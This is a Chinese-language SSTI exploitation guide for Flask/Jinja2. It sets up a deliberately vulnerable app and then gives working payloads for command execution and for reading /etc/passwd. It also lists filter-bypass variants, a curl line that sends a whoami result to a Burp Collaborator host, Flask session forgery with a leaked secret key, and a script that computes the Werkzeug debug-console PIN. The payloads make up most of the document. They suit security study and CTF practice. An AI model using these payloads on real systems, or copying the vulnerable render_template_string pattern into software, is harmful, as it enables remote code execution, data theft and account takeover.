SSTI相关
模板
用于Web应用的模板引擎主要是为了让界面与数据分离。前端专门设计特定格式和风格的HTML模板(界面),可根据用户输入内容进行填充(数据),通过模板引擎生成HTML代码,响应给客户端以灵活展示。
Flask
是一个用Python编写的轻量级Web应用程序框架,其使用jinja2
作为模板引擎。jinja2
基本语法有如下:
{{`%` `%`}} # 语句
{{...}} # 表达式
{{#...#}} # 注释
基本原理
SSTL
(服务端模板注入)的本质在于接收用户任意的输入并执行,造成服务端信息泄露、代码执行等问题。
例如jinja2模板中使用 {{}}
语法表示一个变量值,是一种特殊的占位符,当利用 jinja2 进行渲染的时候,它会执行所接收到的内容并把这些特殊的占位符进行替换。
flask模板注入
搭建环境
安装flask:
pip3 install flask
服务端:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name')
return render_template_string("Hello %s" % name)
if __name__ == "__main__":
app.debug = True
app.run()
@app.route("/")
是route装饰器路由的使用,其将一个函数绑定至相应的URL上,当访问该URL时触发该函数。例如访问目标应用根路径,并传入name参数:
基础
python中object类是所有类的基类,当定义一个类没有指定继承哪个类,则默认继承object类。
内建属性和方法的使用
__calss__
表示当前类:
__base__
列出当前类的直接父类:
__bases__
以元组形式列出当前类的所有直接父类:
__mro__
列出当前类的调用顺序,按照子类、父类、父类的父类顺序返回:
__subclasses__()
当获取到object类之后,可以用该方法获取所有子类:
__init__
初始化类,只有初始化后才能使用其方法和属性。
__globals__
以字典类型返回当前位置的全部模块、方法和全局变量。如果被过滤,可以使用以下等效:
__init__.__globals__['sys'] __init__.__getattribute__('__global'+'s__')['sys']
__dict__
列出属于当前模块的方法和属性,dir()与其作用类似,但是dir()也会显示从父类继承来的属性。一般用在某些方法被过滤了的情况。
__builtins__
的使用:__builtins__.__dict__['__import__']('os').system('whoami')
过滤器的使用
- attr
""|attr("__class__")
# 等效于 "".__calss__
# 常用于点.、中括号[]被过滤
- format
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
# 等效于'__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
# 等效于""["__class__"]
- join(将接收到的内容进行拼接返回)
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
# 等效于""["__class__"]
- lower
""["__CLASS__"|lower]
- replace
"__clase__"|replace("e","s")"
- reverse
"__ssalc__"|reverse
# 等效于"__class__"
- string(将接收到的内容转为字符串)
"".__class__的结果是 <class 'str'>
("".__class__|string)[0]
# 得到字符'<'
寻找注入点
Flask模板注入的关键点就在于{{}}
,所以通常是在多个位置输入{{3*3}}来判断是否会执行并回显。
一般的判断模板的方法:
基本漏洞利用
- 获取object类
{{"".__class__.__base__}}
{{"".__class__.__bases__[0]}}
{{"".__class__.__mro__[-1]}}
- 获取所有子类
{{"".__class__.__mro__[-1].__subclasses__()}}
- 在获取到的子类中寻找一些可用的类和方法
以寻找可执行系统命令的方法为目的,例如popen
方法。
本地寻找:
target = 'popen'
num = 0
for cur in ().__class__.__base__.__subclasses__():
try:
if target in cur.__init__.__globals__.keys():
print(num, cur)
except:
pass
num += 1
结果表明:object
基类的第133个子类有popen
方法,因此可以初始化该类,并以__globals__
获取方法和属性等,并利用。
- 利用
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}
打印类编号,用于寻找:
{%for i in range(300)%}
{{().__class__.__mro__[-1].__subclasses__()[i]}}
{{i}}
{%endfor%}
一般可利用的类和函数
针对不同版本有些类的序号需要手动去找
- config
使用{{config}}查询配置信息
- popen
用于执行系统命令,使用read()方法读取结果
- subprocess.Popen
用于执行系统命令
{{"".__class__.__base__.__subclasses__()[213]('whoami',shell=True,stdout=-1).communicate()[0].strip().decode()}}
__import__
(动态加载类和函数)os
导入os模块执行系统命令
{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}
__builtins__
执行代码
{{().__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__base__.__subclasses__()[200].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
- request(jinja2中存在request对象)
{request.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
url_for、get_flashed_messages、lipsum
(这三个都是函数,可直接调os或使用__builtins__
)
{{url_for.__globals__['os'].popen('whoami').read()}}
# 读配置
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
- FileLoader读取文件
{{"".__class__.__bases__[0].__subclasses__()[99]["get_data"](0, "/etc/passwd")}}
绕过方法
过滤.
{{"".__class__}}
{{""['__class__']}}
{{""|attr("__class__")}
过滤引号
- request绕过
# GET
{{"".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__.__builtins__[request.args.a1](request.args.a2).read()}}&a1=open&a2=/etc/passwd
# POST
{{"".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__.__builtins__[request.values.a1](request.values.a2).read()}}
POST中的数据:a1=open&a2=/etc/passwd
# Cookie
{{"".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__.__builtins__[request.cookies.a1](request.cookies.a2).read()}}
Cookie中的数据:a1=open;a2=/etc/passwd
- 使用chr()函数绕过
# 先暴破找出chr函数
{{"".__class__.__bases__[0].__subclasses__()[暴破点].__init__.__globals__.__builtins__.chr}}
# 原利用payload
{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}}
# 用chr()代替引号
{%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
过滤()
只能config看看配置信息
过滤_
- 十六进制绕过
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
引号中的关键字也可以十六进制编码
- Unicode编码绕过
{{""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
过滤各类关键字
- 拼接
{{""['__cla'+'ss__'].__bases__[0]}}
{{""['__cla''ss__'].__bases__[0]}}
{{""|attr(["_"*2,"cla","ss","_"*2]|join)}}
- 格式化
{{""|attr(request.args.a1|format(request.args.a2))}}&a1=__c%sass__&a2=l
- 过滤
__init__
,使用__enter__
和__exit__
替代 - 过滤
config
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
过滤{}
- DNS外带
{% if "".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']("curl `whoami`.mj9rk9hp8fslvlnxrgsh86yksby1mq.burpcollaborator.net").read()=='ssti' %}1{% endif %}
{%print "".__class__.__bases__[0].__subclasses__()[200].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
过滤[]
- 索引中的
[]
,使用pop()、__getitem__()
{{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read()}}
{{().__class__.__base__.__subclasses__().pop(133).__init__.__globals__.popen('whoami').read()}}
- 当绕过关键字限制使用
[]
时
{{"".__getattribute__("__cla"+"ss__").__base__}}
过滤数字
- 循环找类直接利用
{% for i in "".__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('whoami').read()}}{% endif %}{% endfor %}
# 实际上这里找到的是subprocess.Popen类,然后利用os模块的popen去执行命令
- 用已有对象或函数直接利用
使用lipsum、url_for、get_flashed_messages
函数或request
对象直接利用,不需要使用数字进行索引取值。
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
进阶利用
flask session利用
session结构
eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY
以.
分为三个部分:1)第一部分为session data进行base64后的结果,2)第二部分为时间戳,flask中时间戳超过31天视为无效,3)第三部分是session data、 时间戳、flask中的secret key
通过sha算法进行hash后的结果。
注意:
其中所有base64部分去掉了
=
号,当decode失败可填入部分=
号补全;解时间戳:
int.from_bytes(base64_decode(session-timestamp),byteorder='big')
伪造session
- 通过
{{config}}
获取泄露的secret_key:
可利用Flask Unsign
工具伪造session:
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
也可利用该工具解session(一般手动解就已经很方便):
尝试破解常见的secret_key:
flask PIN码利用
Flask在debug模式下可产生一个交互式shell,但需要输入一个PIN码,一台机器上多次重启Flask应用,PIN码值不改变表明存在一定规律。
生成PIN码的脚本:
from itertools import chain
import hashlib
probably_public_bits = [
'cool',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/cool/.local/lib/python3.9/site-packages/flask/app.py',# getattr(mod, '__file__', None)
]
private_bits = ['52242275645', 'cdb9fdddb45e4f95b043309c818c3ff5']
# 第一个元素:str(uuid.getnode()), /sys/class/net/eth0/address
# 第二个元素:get_machine_id(), /etc/machine-id
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
脚本中各参数的获取方法:
- username
当前运行Flask应用的用户名,可读取/etc/passwd获取
- modname
一般默认
- appname
一般默认
- 路径
通过报错获取:
- 网络地址
读取/sys/class/net/eth0/address
,并进行进制转换:
int("00:0c:29:e1:dd:3d".replace(":", ""), 16)
- 机器码
默认生成方式为先依次读取/etc/machine-id
和/proc/sys/kernel/random/boot_id
,读到其中一个则退出,继续读取/proc/self/cgroup
中第一行中以最右侧/
分割的右边部分内容,最后将两部分进行拼接得到机器码。
不同版本中机器码的生成方式有区别
执行脚本: